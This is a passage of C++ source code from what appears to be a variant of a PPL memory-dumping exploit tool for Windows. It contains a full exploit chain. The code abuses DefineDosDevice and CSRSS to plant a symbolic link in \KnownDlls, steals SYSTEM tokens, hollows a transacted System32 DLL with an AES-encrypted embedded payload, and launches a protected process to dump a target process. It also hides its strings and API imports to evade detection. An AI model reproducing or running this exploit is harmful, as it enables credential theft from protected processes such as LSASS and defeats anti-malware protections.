// 2. Create a symlink in '\GLOBAL??\KnownDlls\' with the name of a DLL to hijack. The target
// of the link doesn't matter.
//
// The next steps will allow us to trick the CSRSS service into opening the symbolic link
// '\GLOBAL??\KnownDlls\FOO.dll' instead of '\KnownDlls\FOO.dll' while impersonating the
// caller. That's why we need to create this symbolic link beforehand. As the service will
// just open the object itself, its target does not matter.
//
pwszDllLinkName = (LPWSTR)LocalAlloc(LPTR, (MAX_PATH + 1) * sizeof(WCHAR));
if (!pwszDllLinkName)
goto end;
StringCchPrintfW(pwszDllLinkName, MAX_PATH, skCrypt(L"%ws\\%ws"), pwszKnownDllsObjDir, pwszDllToHijack);
PRINTDEBUG(L"Create symbolic link '%ws'...\n", pwszDllLinkName);
if (!(hDllLink = ObjectManagerCreateSymlink(pwszDllLinkName, skCrypt(L"KnownDlls"))))
goto end;
PRINTDEBUG(L"[*] Created Symbolic link: '%ws'\n", pwszDllLinkName);
//
// 3. Inside the user's DOS device directory create a new symbolic link called 'GLOBALROOT'
// pointing to '\GLOBAL??'
//
// The idea here is to create a "fake" GLOBALROOT that will point to a location we control
// because, at step 4, the CSRSS service will try to open '\??\GLOBALROOT\...' while
// impersonating the caller. '\??' represents the current user's DOS device directory. For
// SYSTEM, '\??' points to '\GLOBAL??' so '\??\GLOBALROOT' is '\GLOBAL??\GLOBALROOT', which
// is the actual GLOBALROOT. Therefore the trick would not work.
// However, for users other than SYSTEM, '\??' points to a dedicated DOS device directory
// such as '\Sessions\0\DosDevices\00000000-XXXXXXXX'. Therefore, we can create a fake
// GLOBALROOT symbolic link that points to an arbitrary location. If we create this link so
// that '\Sessions\0\DosDevices\00000000-XXXXXXXX\GLOBALROOT' -> '\GLOBAL??',
// '\??\GLOBALROOT' will actually point to '\GLOBAL??' instead of '\GLOBAL??\GLOBALROOT' in
// our context.
// To summarize:
// - If SYSTEM: '\??\GLOBALROOT' -> ''
// - Else: '\??\GLOBALROOT' -> '\GLOBAL??' (because of our symbolic link)
// Which means that:
// - If SYSTEM: '\??\GLOBALROOT\KnownDlls\FOO.DLL' -> '\KnownDlls\FOO.DLL'
// - Else: '\??\GLOBALROOT\KnownDlls\FOO.DLL' -> '\GLOBAL??\KnownDlls\FOO.DLL'
//
// So, at this step, we need to:
// - revert to self if we impersonated SYSTEM as an administrator;
// - impersonate another user (LOCAL SERVICE for example) if we were running as SYSTEM.
//
if (bCurrentUserIsSystem)
{
//
// If we are running as SYSTEM, we need to impersonate another user. But, if we do so, the
// the impersonated user will not have sufficient access on the symbolic link we just
// created and the DefineDosDevice call will fail with an "Access Denied" error. Therefore
// we need to edit the ACL of the object first.
//
InitializeSecurityDescriptor(&sd, SECURITY_DESCRIPTOR_REVISION);
#pragma warning( suppress : 6248 ) // Disable NULL DACL warning as it is intentional here
SetSecurityDescriptorDacl(&sd, TRUE, NULL, FALSE);
sa.nLength = sizeof(sa);
sa.bInheritHandle = FALSE;
sa.lpSecurityDescriptor = &sd;
PRINTDEBUG(L"Set a NULL DACL on '%ws'\n", pwszDllLinkName);
if (!SetKernelObjectSecurity(hDllLink, DACL_SECURITY_INFORMATION, &sd))
{
PRINTLASTERROR(L"SetKernelObjectSecurity");
goto end;
}
if (!ImpersonateLocalService(&hLocalServiceToken))
goto end;
bImpersonationActive = TRUE;
PRINTDEBUG(L"[*] Impersonating LOCAL SERVICE...\n");
}
else
{
if (!LI_FN(RevertToSelf)())
goto end;
bImpersonationActive = FALSE;
}
PRINTDEBUG(L"Create symbolic link '%ws -> %ws'...\n", pwszFakeGlobalrootLinkName, pwszFakeGlobalrootLinkTarget);
if (!(hFakeGlobalrootLink = ObjectManagerCreateSymlink(pwszFakeGlobalrootLinkName, pwszFakeGlobalrootLinkTarget)))
goto end;
PRINTDEBUG(L"[*] Created symbolic link: '%ws -> %ws'\n", pwszFakeGlobalrootLinkName, pwszFakeGlobalrootLinkTarget);
//
// 4. Call DefineDosDevice specifying a device name of "GLOBALROOT\KnownDlls\FOO.DLL" and a target
// path of a location that the user can create section objects inside.
//
// This still need to be executed as a user other than SYSTEM, so that all the symbolic links
// are properly followed. This is the "fun" part. DefineDosDevice actually results in an RPC
// call to the CSRSS service. On server side, here is how the device name will be interpreted:
// a. it receives the device name as the second argument;
// >>> GLOBALROOT\KnownDlls\FOO.DLL
// b. it will first prepend it with '\??\';
// >>> \??\GLOBALROOT\KnownDlls\FOO.DLL
// c. it will try to open the symbolic link while impersonating the client, the call succeeds
// because we control this symlink (step 1)
// >>> \GLOBAL??\KnownDlls\FOO.DLL (\??\GLOBALROOT -> \GLOBAL??)
// d. it checks whether the path starts with \GLOBAL??\ to determine if it's global;
// e. as it does, it rewrites the path and prepends it with '\GLOBAL??\', considers the link
// as global and disables impersonation;
// >>> \GLOBAL??\GLOBALROOT\KnownDlls\FOO.DLL
// f. but \GLOBAL??\GLOBALROOT, which is the real GLOBALROOT
// >>> \KnownDlls\FOO.DLL
// g. if invokes NtCreateSymbolicLinkObject without impersonating the user and therefore
// creates a symlink inside '\KnownDlls\' with an arbitrary name and an arbitrary target
// path.
//
// /!\ The purpose of the initial open operation is to delete the symlink and this is always
// done while impersonating the user. Therefore we won't be able to delete the symlink
// that was created in \KnownDlls\. We will have to remove it once we are running code
// inside a PPL with WinTCB level.
//
pwszDosDeviceName = (LPWSTR)LocalAlloc(LPTR, (MAX_PATH + 1) * sizeof(WCHAR));
pwszDosDeviceTargetPath = (LPWSTR)LocalAlloc(LPTR, (MAX_PATH + 1) * sizeof(WCHAR));
if (!pwszDosDeviceName || !pwszDosDeviceTargetPath)
goto end;
StringCchPrintfW(pwszDosDeviceName, MAX_PATH, skCrypt(L"GLOBALROOT\\KnownDlls\\%ws"), pwszDllToHijack);
StringCchPrintfW(pwszDosDeviceTargetPath, MAX_PATH, skCrypt(L"\\KernelObjects\\%ws"), pwszDllToHijack);
PRINTDEBUG(L"Call DefineDosDevice to create '\\KnownDlls\\%ws' -> '%ws'\n", pwszDllToHijack, pwszDosDeviceTargetPath);
if (!LI_FN(DefineDosDeviceW)(DDD_NO_BROADCAST_SYSTEM | DDD_RAW_TARGET_PATH, pwszDosDeviceName, pwszDosDeviceTargetPath))
{
PRINTLASTERROR(L"DefineDosDevice");
if (!g_bForce || LI_FN(GetLastError)() != ERROR_ALREADY_EXISTS)
goto end;
}
PRINTDEBUG(L"[*] DefineDosDevice OK\n", pwszDllToHijack, pwszDosDeviceTargetPath);
//
// Make sure the link was really created as a consequence of the DefineDosDevice call. But
// first, let's revert to self if we are running as SYSTEM or impersonate SYSTEM again.
//
if (bCurrentUserIsSystem)
{
if (!LI_FN(RevertToSelf)())
{
PRINTLASTERROR(L"RevertToSelf");
goto end;
}
bImpersonationActive = FALSE;
}
else
{
PRINTDEBUG(L"Impersonate SYSTEM again\n");
if (!Impersonate(hSystemToken))
goto end;
bImpersonationActive = TRUE;
PRINTDEBUG(L"[*] Impersonating SYSTEM...\n");
}
PRINTDEBUG(L"Check whether the symbolic link was really created in '\\KnownDlls\\'\n");
if (!CheckKnownDllSymbolicLink(pwszDllToHijack, pwszDosDeviceTargetPath))
{
PRINTDEBUG(L"[-] The symbolic link '\\KnownDlls\\%ws' was not created.\n", pwszDllToHijack);
goto end;
}
PRINTDEBUG(L"[+] The symbolic link was successfully created: '\\KnownDlls\\%ws' -> '%ws'\n", pwszDllToHijack, pwszDosDeviceTargetPath);
//
// 5. Create the image section object at the target location for an arbitrary DLL.
//
// Final piece of the puzzle. Now that we have a symbolic link in \KnownDlls that points to
// an arbitrary location, we just have to create a new Section at this location and map our
// payload DLL.
//
pwszSectionName = pwszDosDeviceTargetPath;
PRINTDEBUG(L"Map our DLL to section '%ws'\n", pwszSectionName);
if (!MapDll(pwszSectionName, &hDllSection))
goto end;
PRINTDEBUG(L"[*] Mapped payload DLL to: '%ws'\n", pwszSectionName);
//
// Prepare synchronization objects.
//
MiscGenerateGuidString(&pwszGuid);
StringCchPrintfW(wszEventName, MAX_PATH, skCrypt(L"Global\\%ws_DLL_LOADED"), pwszGuid);
if (!(hEventDllLoaded = LI_FN(CreateEventW)(nullptr, TRUE, FALSE, wszEventName)))
PRINTLASTERROR(L"CreateEvent");
StringCchPrintfW(wszEventName, MAX_PATH, skCrypt(L"Global\\%ws_DUMP_SUCCESS"), pwszGuid);
if (!(hEventExploitSuccess = LI_FN(CreateEventW)(nullptr, TRUE, FALSE, wszEventName)))
PRINTLASTERROR(L"CreateEvent");
//
// 6. Create a PPL process and hijack one of the DLLs it tries to load
//
// First we need to prepare the command line that we are going to execute. The ID of the
// target process to dump and the path of the dump file should respectively be passed as the
// first and second argument.
// Then we need to get a SYSTEM token to start our new process. If the current process was
// started as SYSTEM, we can simply copy this token. If SYSTEM was impersonated, we need to
// copy the current thread's token.
// Finally, we can start our protected process with the prepared command line and the
// duplicated token.
//
if (!PrepareCommandLine(dwProcessId, g_pwszDumpFilePath, pwszGuid, g_intExecutionMode, &pwszCommandLine))
goto end;
if (bCurrentUserIsSystem)
{
if (!OpenProcessToken(LI_FN(GetCurrentProcess)(), TOKEN_QUERY | TOKEN_DUPLICATE | TOKEN_ADJUST_PRIVILEGES, &hCurrentToken))
{
PRINTLASTERROR(L"OpenProcessToken");
goto end;
}
}
else
{
if (!OpenThreadToken(LI_FN(GetCurrentThread)(), TOKEN_QUERY | TOKEN_DUPLICATE | TOKEN_ADJUST_PRIVILEGES, FALSE, &hCurrentToken))
{
PRINTLASTERROR(L"OpenThreadToken");
goto end;
}
}
PRINTDEBUG(L"Enable privilege %ws\n", L"SeAssignPrimaryTokenPrivilege");
if (!TokenCheckPrivilege(hCurrentToken, skCrypt(L"SeAssignPrimaryTokenPrivilege"), TRUE))
goto end;
PRINTDEBUG(L"Create a primary token\n");
if (!LI_FN(DuplicateTokenEx)(hCurrentToken, MAXIMUM_ALLOWED, nullptr, SecurityAnonymous, TokenPrimary, &hNewProcessToken))
{
PRINTLASTERROR(L"DuplicateTokenEx");
goto end;
}
PRINTDEBUG(L"Create protected process with command line: %ws\n", pwszCommandLine);
if (!CreateProtectedProcessAsUser(hNewProcessToken, pwszCommandLine, &hNewProcess))
goto end;
PRINTDEBUG(L"[*] Started protected process, waiting...\n");
WaitForSingleObject(hNewProcess, INFINITE);
bDllLoaded = WaitForSingleObject(hEventDllLoaded, 100) == WAIT_OBJECT_0;
bExploitSuccess = WaitForSingleObject(hEventExploitSuccess, 100) == WAIT_OBJECT_0;
PRINTDEBUG(L"Unmap section '%ws'...\n", pwszSectionName);
UnmapDll(hDllSection);
if (!GetExitCodeProcess(hNewProcess, &dwExitCode))
{
PRINTLASTERROR(L"GetExitCodeProcess");
goto end;
}
PRINTDEBUG(L"Process exit code: %d\n", dwExitCode);
if (dwExitCode != 0)
WPRINTF(L"[!] Unexpected exit code: %d\n", dwExitCode);
bReturnValue = bExploitSuccess;
if (bExploitSuccess)
{
wprintf(skCrypt(L"Success!\n"));
}
else
{
if (bDllLoaded)
wprintf(skCrypt(L"Fail - Dll loaded.\n"));
else
wprintf(skCrypt(L"Fail - Dll NOT loaded.\n"));
}
end:
if (bImpersonationActive)
LI_FN(RevertToSelf)(); // If impersonation was active, drop it first
if (hEventDllLoaded)
CloseHandle(hEventDllLoaded);
if (hEventExploitSuccess)
CloseHandle(hEventExploitSuccess);
if (pwszGuid)
LocalFree(pwszGuid);
if (hNewProcessToken)
CloseHandle(hNewProcessToken);
if (pwszCommandLine)
LocalFree(pwszCommandLine);
if (pwszDosDeviceName)
LocalFree(pwszDosDeviceName);
if (pwszDosDeviceTargetPath)
LocalFree(pwszDosDeviceTargetPath);
if (hDllLink)
CloseHandle(hDllLink);
if (pwszDllLinkName)
LocalFree(pwszDllLinkName);
if (hKnownDllsObjDir)
CloseHandle(hKnownDllsObjDir);
if (hLocalServiceToken)
CloseHandle(hLocalServiceToken);
if (hSystemToken)
CloseHandle(hSystemToken);
if (pwszDllToHijack)
LocalFree(pwszDllToHijack);
return bReturnValue;
}
_Success_(return)
BOOL CheckRequirements()
{
DWORD dwFailCount = 0;
HANDLE hProcessToken = NULL;
HANDLE hTargetProcess = NULL;
BOOL bIsSystem = FALSE;
DWORD dwProcessId = 0;
DWORD dwProcessProtectionLevel = 0;
LPWSTR pwszProcessProtectionName = NULL;
DWORD dwProcessIntegrityLevel = 0;
LPCWSTR ppwszRequiredPrivileges[2] = { skCrypt(L"SeDebugPrivilege").decrypt(), skCrypt(L"SeImpersonatePrivilege").decrypt()};
if (!OpenProcessToken(LI_FN(GetCurrentProcess)(), TOKEN_QUERY | TOKEN_ADJUST_PRIVILEGES, &hProcessToken))
{
dwFailCount++;
}
else
{
for (int i = 0; i < sizeof(ppwszRequiredPrivileges) / sizeof(*ppwszRequiredPrivileges); i++)
{
if (!TokenCheckPrivilege(hProcessToken, ppwszRequiredPrivileges[i], FALSE))
{
dwFailCount++;
WPRINTF(L"[-] A privilege is missing: %ws\n", L"SeDebugPrivilege");
}
}
CloseHandle(hProcessToken);
}
// Is SYSTEM or admin elevated?
IsCurrentUserSystem(&bIsSystem);
if (!bIsSystem)
{
if (!ProcessGetIntegrityLevel(LI_FN(GetCurrentProcessId)(), &dwProcessIntegrityLevel))
{
dwFailCount++;
WPRINTF(L"[-] Failed to get process integrity level\n");
}
else
{
if (dwProcessIntegrityLevel < SECURITY_MANDATORY_HIGH_RID)
{
dwFailCount++;
WPRINTF(L"[-] Insufficient process integrity level\n");
}
}
}
// Check windows version >= 8.1
if (!IsWindows8Point1OrGreater())
{
dwFailCount++;
WPRINTF(L"[-] This version of Windows is not supported\n");
}
if (g_intExecutionMode == DRIVER_UNLOAD_MODE)
{
return true;
}
if (g_pwszProcessName != NULL)
{
if (!ProcessGetPIDFromName(g_pwszProcessName, &dwProcessId))
{
dwFailCount++;
}
}
else if (g_dwProcessId != 0)
{
dwProcessId = g_dwProcessId;
}
// Make sure target process is a PPL
if (dwProcessId != 0)
{
if (!ProcessGetProtectionLevel(dwProcessId, &dwProcessProtectionLevel))
{
//dwFailCount++;
WPRINTF(L"[!] Failed to get the protection level of process with PID %d\n", dwProcessId);
}
else
{
ProcessGetProtectionLevelAsString(dwProcessId, &pwszProcessProtectionName);
PRINTDEBUG(L"Target process protection level: %d - %ws\n", dwProcessProtectionLevel, pwszProcessProtectionName);
if (pwszProcessProtectionName)
LocalFree(pwszProcessProtectionName);
if (
dwProcessProtectionLevel != PROTECTION_LEVEL_WINTCB_LIGHT &&
dwProcessProtectionLevel != PROTECTION_LEVEL_WINDOWS_LIGHT &&
dwProcessProtectionLevel != PROTECTION_LEVEL_ANTIMALWARE_LIGHT &&
dwProcessProtectionLevel != PROTECTION_LEVEL_LSA_LIGHT &&
dwProcessProtectionLevel != PROTECTION_LEVEL_CODEGEN_LIGHT &&
dwProcessProtectionLevel != PROTECTION_LEVEL_PPL_APP
)
{
WPRINTF(L"[-] Process with ID %d is not a PPL\n", dwProcessId);
}
}
}
else
{
dwFailCount++;
}
#if _WIN64
//
// A 64-bits executable cannot run on a 32-bits arch so no check is required here.
//
#elif _WIN32
//
// We need to make sure the system's arch is 32-bits as well because we embed only the x86 version
// of our payload DLL.
//
if (MiscSystemArchIsAmd64())
{
dwFailCount++;
WPRINTF(L"[-] This system architecture is not supported. Please use the 64-bits version instead.\n");
}
#else
dwFailCount++;
WPRINTF(L"[-] This system architecture is not supported.\n");
#endif
return dwFailCount == 0;
}
_Success_(return)
BOOL IsCurrentUserSystem(_Out_ PBOOL pbResult)
{
BOOL bReturnValue = FALSE;
HANDLE hProcessToken = NULL;
LPWSTR pwszStringSid = NULL;
if (!OpenProcessToken(LI_FN(GetCurrentProcess)(), TOKEN_QUERY, &hProcessToken))
{
PRINTLASTERROR(L"OpenProcessToken");
goto end;
}
if (!TokenGetSidAsString(hProcessToken, &pwszStringSid))
goto end;
*pbResult = _wcsicmp(pwszStringSid, skCrypt(L"S-1-5-18")) == 0;
bReturnValue = TRUE;
end:
if (pwszStringSid)
LocalFree(pwszStringSid);
if (hProcessToken)
CloseHandle(hProcessToken);
return bReturnValue;
}
_Success_(return)
BOOL GetHijackableDllName(_Out_ LPWSTR* ppwszDllName)
{
if (!ppwszDllName)
return FALSE;
*ppwszDllName = (LPWSTR)LocalAlloc(LPTR, 64 * sizeof(WCHAR));
if (!*ppwszDllName)
return FALSE;
if (IsWindows10OrGreater())
{
auto hijackedDll = skCrypt(L"EventAggregation.dll").decrypt();
StringCchPrintf(*ppwszDllName, 64, skCrypt(L"%ws"), hijackedDll);
return TRUE;
}
if (IsWindows8Point1OrGreater())
{
auto hijackedDll = skCrypt(L"SspiCli.dll").decrypt();
StringCchPrintfW(*ppwszDllName, 64, skCrypt(L"%ws"), hijackedDll);
return TRUE;
}
LocalFree(*ppwszDllName);
return FALSE;
}
_Success_(return)
BOOL GetPayloadDll(_Out_ LPVOID * ppBuffer, _Out_ PDWORD pdwSize)
{
BOOL bReturnValue = FALSE;
HRSRC hResource = NULL;
HGLOBAL hResourceData = NULL;
DWORD dwResourceSize = 0;
LPVOID lpData = NULL;
if (!(hResource = FindResource(NULL, MAKEINTRESOURCE(IDR_RCDATA1), RT_RCDATA)))
{
PRINTLASTERROR(L"FindResource");
return FALSE;
}
if (!(dwResourceSize = SizeofResource(NULL, hResource)))
{
PRINTLASTERROR(L"SizeofResource");
return FALSE;
}
if (!(hResourceData = LoadResource(NULL, hResource)))
{
PRINTLASTERROR(L"LoadResource");
return FALSE;
}
if (!(lpData = LockResource(hResourceData)))
{
PRINTLASTERROR(L"LockResource");
return FALSE;
}
*ppBuffer = lpData;
*pdwSize = dwResourceSize;
return TRUE;
}
_Success_(return)
BOOL FindFileForTransaction(_In_ DWORD dwMinSize, _Out_ LPWSTR* ppwszFilePath)
{
BOOL bReturnValue = FALSE;
WCHAR wszSearchPath[MAX_PATH] = { 0 };
WCHAR wszFilePath[MAX_PATH] = { 0 };
WIN32_FIND_DATA wfd = { 0 };
HANDLE hFind = NULL;
HANDLE hFile = NULL;
PSID pSidOwner = NULL;
PSECURITY_DESCRIPTOR pSD = NULL;
DWORD dwFileSize = 0;
PSID pSidTarget = NULL;
ConvertStringSidToSidW(skCrypt(L"S-1-5-18"), &pSidTarget);
GetSystemDirectoryW(wszSearchPath, MAX_PATH); // C:\Windows\System32
StringCchCatW(wszSearchPath, MAX_PATH, skCrypt(L"\\*.dll")); // C:\Windows\System32\*.dll
if ((hFind = FindFirstFileW(wszSearchPath, &wfd)) != INVALID_HANDLE_VALUE)
{
do
{
GetSystemDirectory(wszFilePath, MAX_PATH);
StringCchCat(wszFilePath, MAX_PATH, skCrypt(L"\\"));
StringCchCat(wszFilePath, MAX_PATH, wfd.cFileName);
if (hFile = LI_FN(CreateFileW)(wszFilePath, GENERIC_READ, FILE_SHARE_READ, nullptr, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, nullptr))
{
dwFileSize = GetFileSize(hFile, NULL);
if (dwFileSize != INVALID_FILE_SIZE && dwFileSize > dwMinSize)
{
if (GetSecurityInfo(hFile, SE_FILE_OBJECT, OWNER_SECURITY_INFORMATION, &pSidOwner, NULL, NULL, NULL, &pSD) == ERROR_SUCCESS)
{
if (TokenCompareSids(pSidOwner, pSidTarget))
{
*ppwszFilePath = (LPWSTR)LocalAlloc(LPTR, MAX_PATH * sizeof(WCHAR));
if (*ppwszFilePath)
{
StringCchPrintfW(*ppwszFilePath, MAX_PATH, skCrypt(L"%ws"), wszFilePath);
bReturnValue = TRUE;
}
}
}
}
CloseHandle(hFile);
}
} while (FindNextFileW(hFind, &wfd) && !bReturnValue);
FindClose(hFind);
}
return bReturnValue;
}
_Success_(return)
BOOL WritePayloadDllTransacted(_Out_ PHANDLE pdhFile)
{
//
// This implementation was inspired by the DLL Hollowing technique, discussed by @_ForrestOrr
// in this blog post: Masking Malicious Memory Artifacts Part I: Phantom DLL Hollowing
// https://www.forrest-orr.net/post/malicious-memory-artifacts-part-i-dll-hollowing
// This trick is awesome! :)
//
// Here is the idea. Rather than writing our embedded DLL to disk, we open an existing DLL file
// as a transaction operation. Then, we replace the content of the DLL with our own. To so, we
// search for an existing DLL file in C:\Windows\System32. We assume we are executing this code
// as SYSTEM but still, this is not sufficient as we need to open the target file with write
// access even though the file will not be modified. As most of the files are owned by Trusted-
// Installer, we need to find one which is owned by SYSTEM and also make sure that it is big
// enough so that we can copy our own DLL.
//
// Note: actually, in our case, it doesn't matter whether the target file is a DLL or a regular
// file. But hey, this works just fine. ;)
//
BOOL bReturnValue = FALSE;
HRSRC hResource = NULL;
HGLOBAL hResourceData = NULL;
DWORD dwResourceSize = 0;
LPVOID lpData = NULL;
LPWSTR pwszTargetFile = NULL;
NTSTATUS status = 0;
OBJECT_ATTRIBUTES oa = { sizeof(OBJECT_ATTRIBUTES) };
HANDLE hTransaction = NULL;
HANDLE hTransactedFile = NULL;
DWORD dwBytesWritten = 0;
BYTE key[] = AESKEY;
BYTE iv[] = IV;
if (hResource = FindResource(NULL, MAKEINTRESOURCE(IDR_RCDATA1), RT_RCDATA))
{
dwResourceSize = LI_FN(SizeofResource)(nullptr, hResource);
if (hResourceData = LI_FN(LoadResource)(nullptr, hResource))
{
lpData = LI_FN(LockResource)(hResourceData);
}
}
if (!lpData || !dwResourceSize)
return FALSE;
PRINTDEBUG(L"Loaded payload DLL, image size: %d bytes\n", dwResourceSize);
auto lpDecryptedDll = LI_FN(VirtualAlloc)(nullptr, dwResourceSize, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
if (lpDecryptedDll)
{
RtlMoveMemory(lpDecryptedDll, lpData, dwResourceSize);
if (!AESDecrypt((BYTE*)lpDecryptedDll, dwResourceSize, key, sizeof(key), iv, sizeof(iv))) return FALSE;
}
else return FALSE;
//
// Find a legtimate DLL file to "hollow". It must not be owned by TrustedInstaller and it must
// be big enough so that we can copy our payload into the transacted file.
//
if (!FindFileForTransaction(dwResourceSize, &pwszTargetFile))
return FALSE;
PRINTDEBUG(L"Found file for transaction: %ws\n", pwszTargetFile);
status = LI_FN(NtCreateTransaction)(&hTransaction, TRANSACTION_ALL_ACCESS, &oa, nullptr, nullptr, 0, 0, 0, nullptr, nullptr);
if (status != 0)
{
SetLastError(LI_FN(RtlNtStatusToDosError)(status));
PRINTLASTERROR(L"NtCreateTransaction");
goto end;
}
//
// Open a legitimate DLL file as a transaction operation.
//
hTransactedFile = LI_FN(CreateFileTransactedW)(pwszTargetFile, GENERIC_READ | GENERIC_WRITE, 0, nullptr, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, nullptr, hTransaction, nullptr, nullptr);
if (hTransactedFile == INVALID_HANDLE_VALUE)
{
PRINTLASTERROR(L"CreateFileTransacted");
goto end;
}
PRINTDEBUG(L"Opened file '%ws' for transaction.\n", pwszTargetFile);
//
// Replace the content of the legitimate file with our own DLL payload. It's important to note
// that the file on disk is not altered.
//
if (!LI_FN(WriteFile)(hTransactedFile, lpDecryptedDll, dwResourceSize, &dwBytesWritten, nullptr))
{
PRINTLASTERROR(L"WriteFile");
goto end;
}
PRINTDEBUG(L"Wrote %d bytes of embedded payload DLL to transacted file.\n", dwBytesWritten, pwszTargetFile);
*pdhFile = hTransactedFile;
bReturnValue = TRUE;
end:
if (pwszTargetFile)
LocalFree(pwszTargetFile);
return bReturnValue;
}
_Success_(return)
BOOL FindProcessTokenAndDuplicate(_In_ LPCWSTR pwszTargetSid, _Out_ PHANDLE phToken, _In_opt_ LPCWSTR pwszPrivileges[], _In_ DWORD dwPrivilegeCount)
{
BOOL bReturnValue = FALSE;
PSID pTargetSid = NULL;
PVOID pBuffer = NULL;
PSYSTEM_PROCESS_INFORMATION pProcInfo = NULL;
HANDLE hProcess = NULL, hToken = NULL, hTokenDup = NULL;
DWORD dwReturnedLen = 0, dwBufSize = 0x1000, dwSessionId = 0;
PSID pSidTmp = NULL;
NTSTATUS status = STATUS_INFO_LENGTH_MISMATCH;
LPWSTR pwszUsername = NULL;
if (!ConvertStringSidToSidW(pwszTargetSid, &pTargetSid))
goto end;
while (TRUE)
{
pBuffer = LocalAlloc(LPTR, dwBufSize);
if (!pBuffer || status != STATUS_INFO_LENGTH_MISMATCH)
break;
status = LI_FN(NtQuerySystemInformation)((SYSTEM_INFORMATION_CLASS)SystemProcessInformation, pBuffer, dwBufSize, &dwReturnedLen);
if (NT_SUCCESS(status))
{
pProcInfo = (PSYSTEM_PROCESS_INFORMATION)pBuffer;
while (TRUE) {
if (hProcess = LI_FN(OpenProcess)(PROCESS_QUERY_INFORMATION, FALSE, PtrToUlong(pProcInfo->UniqueProcessId)))
{
if (OpenProcessToken(hProcess, TOKEN_QUERY | TOKEN_DUPLICATE, &hToken))
{
if (LI_FN(DuplicateTokenEx)(hToken, MAXIMUM_ALLOWED, nullptr, SecurityImpersonation, TokenImpersonation, &hTokenDup))
{
if (TokenGetSid(hTokenDup, &pSidTmp) && TokenGetUsername(hTokenDup, &pwszUsername))
{
if (TokenCompareSids(pSidTmp, pTargetSid))
{
PRINTDEBUG(L"Found a potential Process candidate: PID=%d - Image='%ws' - User='%ws'\n", PtrToUlong(pProcInfo->UniqueProcessId), pProcInfo->ImageName.Buffer, pwszUsername);
BOOL bTokenIsNotRestricted = FALSE;
TokenIsNotRestricted(hTokenDup, &bTokenIsNotRestricted);
if (bTokenIsNotRestricted)
PRINTDEBUG(L"This token is not restricted.\n");
else
PRINTDEBUG(L"This token is restricted.\n");
if (bTokenIsNotRestricted)
{
if (pwszPrivileges && dwPrivilegeCount != 0)
{
DWORD dwPrivilegeFound = 0;
for (DWORD i = 0; i < dwPrivilegeCount; i++)
{
if (TokenCheckPrivilege(hTokenDup, pwszPrivileges[i], FALSE))
dwPrivilegeFound++;
}
PRINTDEBUG(L"Found %d/%d required privileges in token.\n", dwPrivilegeFound, dwPrivilegeCount);
if (dwPrivilegeFound == dwPrivilegeCount)
{
PRINTDEBUG(L"Found a valid Token candidate.\n");
*phToken = hTokenDup;
bReturnValue = TRUE;
}
}
else
{
PRINTDEBUG(L"Found a valid Token.\n");
*phToken = hTokenDup;
bReturnValue = TRUE;
}
}
}
LocalFree(pSidTmp);
LocalFree(pwszUsername);
}
if (!bReturnValue)
CloseHandle(hTokenDup);
}
CloseHandle(hToken);
}
CloseHandle(hProcess);
}
// If we found a valid token, stop
if (bReturnValue)
break;
// If next entry is null, stop
if (!pProcInfo->NextEntryOffset)
break;
// Increment SYSTEM_PROCESS_INFORMATION pointer
pProcInfo = (PSYSTEM_PROCESS_INFORMATION)((PBYTE)pProcInfo + pProcInfo->NextEntryOffset);
}
}
LocalFree(pBuffer);
dwBufSize <<= 1;
}
end:
if (pTargetSid)
LocalFree(pTargetSid);
return bReturnValue;
}
_Success_(return)
BOOL Impersonate(_In_ HANDLE hToken)
{
HANDLE hThread = LI_FN(GetCurrentThread)(); // Pseudo handle, does not need to be closed
if (!SetThreadToken(&hThread, hToken))
{
PRINTLASTERROR(L"SetThreadToken");
return FALSE;
}
return TRUE;
}
_Success_(return)
BOOL ImpersonateUser(_In_ LPCWSTR pwszSid, _Out_ PHANDLE phToken, _In_opt_ LPCWSTR pwszPrivileges[], _In_ DWORD dwPrivilegeCount)
{
BOOL bReturnValue = FALSE;
HANDLE hCurrentProcessToken = NULL;
HANDLE hToken = NULL;
HANDLE hCurrentThread = NULL;
if (!OpenProcessToken(LI_FN(GetCurrentProcess)(), MAXIMUM_ALLOWED, &hCurrentProcessToken))
{
PRINTLASTERROR(L"OpenProcessToken");
goto end;
}
if (!TokenCheckPrivilege(hCurrentProcessToken, skCrypt(L"SeDebugPrivilege"), TRUE))
goto end;
if (!TokenCheckPrivilege(hCurrentProcessToken, skCrypt(L"SeImpersonatePrivilege"), TRUE))
goto end;
if (!FindProcessTokenAndDuplicate(pwszSid, &hToken, pwszPrivileges, dwPrivilegeCount))
goto end;
if (!Impersonate(hToken))
goto end;
*phToken = hToken;
bReturnValue = TRUE;
end:
if (hCurrentProcessToken)
CloseHandle(hCurrentProcessToken);
return bReturnValue;
}
_Success_(return)
BOOL ImpersonateSystem(_Out_ PHANDLE phSystemToken)
{
auto seDebug = skCrypt(L"SeDebugPrivilege");
auto seAssign = skCrypt(L"SeAssignPrimaryTokenPrivilege");
LPCWSTR pwszPrivileges[2] = { seDebug, seAssign };
return ImpersonateUser(skCrypt(L"S-1-5-18"), phSystemToken, pwszPrivileges, sizeof(pwszPrivileges) / sizeof(*pwszPrivileges));
}
_Success_(return)
BOOL ImpersonateLocalService(_Out_ PHANDLE phLocalServiceToken)
{
return ImpersonateUser(skCrypt(L"S-1-5-19"), phLocalServiceToken, NULL, 0);
}
_Success_(return)
BOOL CheckKnownDllSymbolicLink(_In_ LPCWSTR pwszDllName, _In_ LPWSTR pwszTarget)
{
BOOL bReturnValue = FALSE;
NTSTATUS status = 0;
LPWSTR pwszLinkName = NULL;
OBJECT_ATTRIBUTES oa = { 0 };
UNICODE_STRING name = { 0 };
UNICODE_STRING target = { 0 };
LPWSTR pwszTargetLocal = NULL;
HANDLE hLink = NULL;
ULONG length = 0;
pwszLinkName = (LPWSTR)LocalAlloc(LPTR, MAX_PATH * sizeof(WCHAR));
if (!pwszLinkName)
goto end;
pwszTargetLocal = (LPWSTR)LocalAlloc(LPTR, MAX_PATH * sizeof(WCHAR));
if (!pwszTargetLocal)
goto end;
StringCchPrintfW(pwszLinkName, MAX_PATH, skCrypt(L"\\KnownDlls\\%ws"), pwszDllName);
LI_FN(RtlInitUnicodeString)(&name, pwszLinkName);
InitializeObjectAttributes(&oa, &name, OBJ_CASE_INSENSITIVE, NULL, NULL);
status = LI_FN(NtOpenSymbolicLinkObject)(&hLink, SYMBOLIC_LINK_QUERY, &oa);
SetLastError(LI_FN(RtlNtStatusToDosError)(status));
if (status != 0)
{
